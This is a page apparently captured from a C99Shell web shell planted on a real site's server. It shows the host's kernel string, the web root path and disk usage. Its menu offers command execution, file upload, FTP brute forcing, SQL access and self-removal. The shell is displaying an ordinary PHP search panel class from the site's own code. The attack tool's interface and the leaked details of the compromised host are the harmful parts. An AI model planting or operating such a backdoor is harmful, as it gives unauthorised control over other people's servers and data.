!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchpanelsimple.php (8.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Search panel builder for LIST_SIMPLE mode
 *
 */
class SearchPanelSimple extends SearchPanel {

    var 
$srchPanelAttrs = array();
    
    var 
$isDisplaySearchPanel true;
    
    var 
$isFlexibleSearch true;
    
    var 
$searchOptions = array();
    
    function 
__construct(&$params
    {
        
parent::__construct($params);
        
        
$this->isDisplaySearchPanel $this->pSet->showSearchPanel();
        if( 
$this->pageObj->mobileTemplateMode() && !$this->isDisplaySearchPanel 
        {
            
$advSearchFields $this->pSet->getAdvSearchFields();
            if( 
count$advSearchFields ) )
                
$this->isDisplaySearchPanel true;
        }


        
$this->isFlexibleSearch $this->pSet->isFlexibleSearch();
    }
    
    function 
buildSearchPanel() 
    {
        
parent::buildSearchPanel();
        if (
$this->isDisplaySearchPanel)
        {
            
$this->srchPanelAttrs $this->searchClauseObj->getSrchPanelAttrs();
            
$this->searchOptions $this->pSet->getSearchPanelOptions();
            
$this->DisplaySearchPanel();
        }
    }
    
    function 
searchAssign() 
    {    
        
parent::searchAssign();
        
        
$searchGlobalParams $this->searchClauseObj->getSearchGlobalParams();    
        
$searchPanelAttrs $this->searchClauseObj->getSrchPanelAttrs();
        
// show hide window    
        
$this->xt->assign("showHideSearchWin_attrs"' title="Floating window"');
        
$searchOpt_mess = ($searchPanelAttrs['srchOptShowStatus'] ? "Hide search options" "Show search options");
        
$this->xt->assign("showHideSearchPanel_attrs"'align="absmiddle" title="'.$searchOpt_mess.'" alt="'.$searchOpt_mess.'"');
        
        
$searchforAttrs "name=\"ctlSearchFor".$this->id."\" id=\"ctlSearchFor".$this->id."\"";
        if(
$this->isUseAjaxSuggest)
            
$searchforAttrs .= " autocomplete=off ";        
    
        
$searchforAttrs.= ' placeholder="'."search".'"';
        if( 
$this->searchClauseObj->isUsedSrch() || strlen$searchGlobalParams["simpleSrch"] ) )
        {
            
$valSrchFor $searchGlobalParams["simpleSrch"];
            
$searchforAttrs.= " value=\"".runner_htmlspecialchars($valSrchFor)."\"";
        }
        
        
$this->xt->assignbyref("searchfor_attrs"$searchforAttrs);
        
$this->xt->assign('searchPanelTopButtons'$this->isDisplaySearchPanel);
        
        
$selectClass "";
        if( 
$this->pageObj->isBootstrap() )
            
$selectClass "form-control";
        if (
$this->pSet->showSimpleSearchOptions())
        {
            
$simpleSearchTypeCombo '<select class="' $selectClass '" id="simpleSrchTypeCombo'.$this->id.'" name="simpleSrchTypeCombo'.$this->id.'" size="1">';
            
$simpleSearchTypeCombo .= $this->searchControlBuilder->getSimpleSearchTypeCombo($searchGlobalParams["simpleSrchTypeComboOpt"], $searchGlobalParams["simpleSrchTypeComboNot"]) ;
            
$simpleSearchTypeCombo .= "</select>";
            
            
$this->xt->assign('simpleSearchTypeCombo'$simpleSearchTypeCombo);
            
            
$simpleSearchFieldCombo '<select class="' $selectClass '" id="simpleSrchFieldsCombo'.$this->id.'" name="simpleSrchFieldsCombo'.$this->id.'" size="1">';
            
$simpleSearchFieldCombo .= $this->searchControlBuilder->simpleSearchFieldCombo($this->allSearchFields$searchGlobalParams["simpleSrchFieldsComboOpt"]) ;
            
$simpleSearchFieldCombo .= "</select>";
            
            
$this->xt->assign('simpleSearchFieldCombo'$simpleSearchFieldCombo);    
        }
    }
    
    
/**
     * Search panel on list template handler
     */
    
function DisplaySearchPanel()
    {
        
$this->xt->assign('searchPanel'$this->isDisplaySearchPanel);    
        
$this->xt->assign('id'$this->id);
        if( !
$this->isFlexibleSearch )
            
$this->xt->assign('controls_block_class''flexibleSearchPanel');
            
        
// assign the search panel radio buttons 
        
$searchRadio $this->searchControlBuilder->getSearchRadio();
        
$this->xt->assign_section("all_checkbox_label"$searchRadio['all_checkbox_label'][0], $searchRadio['all_checkbox_label'][1]);
        
$this->xt->assign_section("any_checkbox_label"$searchRadio['any_checkbox_label'][0], $searchRadio['any_checkbox_label'][1]);
        
$this->xt->assignbyref("all_checkbox",$searchRadio['all_checkbox']);
        
$this->xt->assignbyref("any_checkbox",$searchRadio['any_checkbox']);
        
        
// assign the 'Show/Hide options' button 
        
$showHideOpt_mess $this->srchPanelAttrs['ctrlTypeComboStatus'] ? "Hide options" "Show options";        
        
$this->xt->assign("showHideOpt_mess"$showHideOpt_mess);
        
$this->xt->assign("showHideCtrlsOpt_attrs"'style="display: none;"');
        
        if(
$this->searchClauseObj->getUsedCtrlsCount() <= 0)
            
$this->xt->assign("bottomSearchButt_attrs"'style="display: none;"');
    
        
$this->assignSearchBlocks();
        
        
$this->pageObj->controlsMap["search"]["searchPanelRunByUserApi"] = $this->searchClauseObj->isSearchPanelByUserApiRun();
    }
    
    
/**
    * Assign controls blocks for the search panel's,
    * added-by-user and cached fields    
    */
    
function assignSearchBlocks() 
    {
        global 
$gLoadSearchControls;
        
        
$searchPanelFieldsBlocks = array();
        
$otherFieldsBlocks = array();
        
$notAddedFileds = array();
        
$srchCtrlBlocksNumber 0;
        
        
$recId $this->pageObj->genId();
    
        
// build search controls for each field, first we need to build used controls, because cached must have last index    
        
foreach($this->allSearchFields as $searchField)
        {
            
$this->pageObj->fillFieldToolTips($searchField);
            
$srchFields $this->searchClauseObj->getSearchCtrlParams($searchField);
            
$isSrchPanelField in_array($searchField$this->panelSearchFields);

            if( !
count($srchFields) )
            {
                
$defaultValue $this->pSet->getDefaultValue$searchField );
                
                if( 
$isSrchPanelField )
                {
                    
$opt '';
                    
//set the field's option chosen for the inflexible search panel 
                    
if( !$this->isFlexibleSearch )
                        
$opt $this->searchOptions[$searchField];

                    
// add a search panel field that should be always shown on the panel    
                    
$srchFields[] = array('opt' => $opt'not' => '''value1' => $defaultValue'value2' => '');
                }
            }
                    
            if( 
count($srchFields) )
            {
                if(
$isSrchPanelField
                    
$srchFieldscount($srchFields) - ]['immutable'] = true;

                foreach(
$srchFields as $srchField)
                {
                    
// build used ctrl
                    
$block $this->searchControlBuilder->buildSearchCtrlBlockArr($recId$searchField0$srchField['opt'], $srchField['not'], 
                        
false$srchField['value1'], $srchField['value2'], $isSrchPanelField$this->isFlexibleSearch$srchField['immutable']);
                    
                    if(
$isSrchPanelField)
                        
$searchPanelFieldsBlocks[$searchField][] = $block;
                    else
                        
$otherFieldsBlocks[] = $block;
                    
                    
$srchCtrlBlocksNumber++;
                    
$this->addSearchFieldToControlsMap($searchField$recId);
                }
            } 
            else
                
$notAddedFileds[] = $searchField;            
        }
            
        
// assign search panel fields (default and added-by-user)        
        
foreach($searchPanelFieldsBlocks as $name => $namedBlocks)
        {        
            
$this->xt->assign_loopsection_byValue('searchCtrlBlock_'.GoodFieldName($name), $namedBlocks);
        }
            
        if(!
$this->isFlexibleSearch)
            return;
        
        
//add cached searhc fields
        
if( $srchCtrlBlocksNumber && $srchCtrlBlocksNumber $gLoadSearchControls )
        {
            
$otherSearchControlsMaxNumber $gLoadSearchControls $srchCtrlBlocksNumber count($otherFieldsBlocks);
            foreach(
$notAddedFileds as $searchField)
            {            
                
$defaultValue $this->pSet->getDefaultValue$searchField );
                
// add cached ctrl
                
$otherFieldsBlocks[] = $this->searchControlBuilder->buildSearchCtrlBlockArr($recId$searchField0''falsetrue$defaultValue'');
                
$this->addSearchFieldToControlsMap($searchField$recId);
                
                if( 
count($otherFieldsBlocks) >= $otherSearchControlsMaxNumber )
                    break;
            }        
        }

        
// assign cached and non search panel fields' blocks
        
$this->xt->assign_loopsection('searchCtrlBlock'$otherFieldsBlocks);
    }
    
    
/**
    * Add the search field block's data to the page's ControlsMap array
    * Generate the new value for the recId
    * @param String fName
    * @param &Number recId
    */
    
function addSearchFieldToControlsMap($fName, &$recId)
    {
        
$isFieldNeedSecCtrl $this->searchControlBuilder->isNeedSecondCtrl($fName);
        
$searchBlock = array('fName'=>$fName'recId'=>$recId);
        
$ctrlInd 0;
        
        
$searchBlock['ctrlsMap'][0] = $ctrlInd;
        if(
$isFieldNeedSecCtrl)
            
$searchBlock['ctrlsMap'][1] = $ctrlInd 1;

        if(!
$this->isFlexibleSearch)
            
$searchBlock['inflexSearchOption'] = $this->searchOptions[$fName];
        
        
$this->pageObj->controlsMap["search"]["searchBlocks"][] = $searchBlock;
        
$recId $this->pageObj->genId();
    }
    
    
/**
    * Refine the open seach panel fields array:
    * It removes all non search fields and each one 
    * of the always shown fields (search panel fields)
    * from the array.
    * @param Array openFilters
    * @return Array
    */
    
function refineOpenFilters($openFilters)
    {
        
$openFiltersRefined = array();

        foreach(
$this->panelSearchFields as $panelFiled)
        {
            
$key array_search($panelFiled$openFilters);
            if(
$key !== FALSE)
                
array_splice($openFilters$key1);
        }

        foreach(
$openFilters as $field)
        {
            if( 
in_array($field$this->allSearchFields) ) 
                
$openFiltersRefined[] = $field;
        }

        return 
$openFiltersRefined;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0023 ]--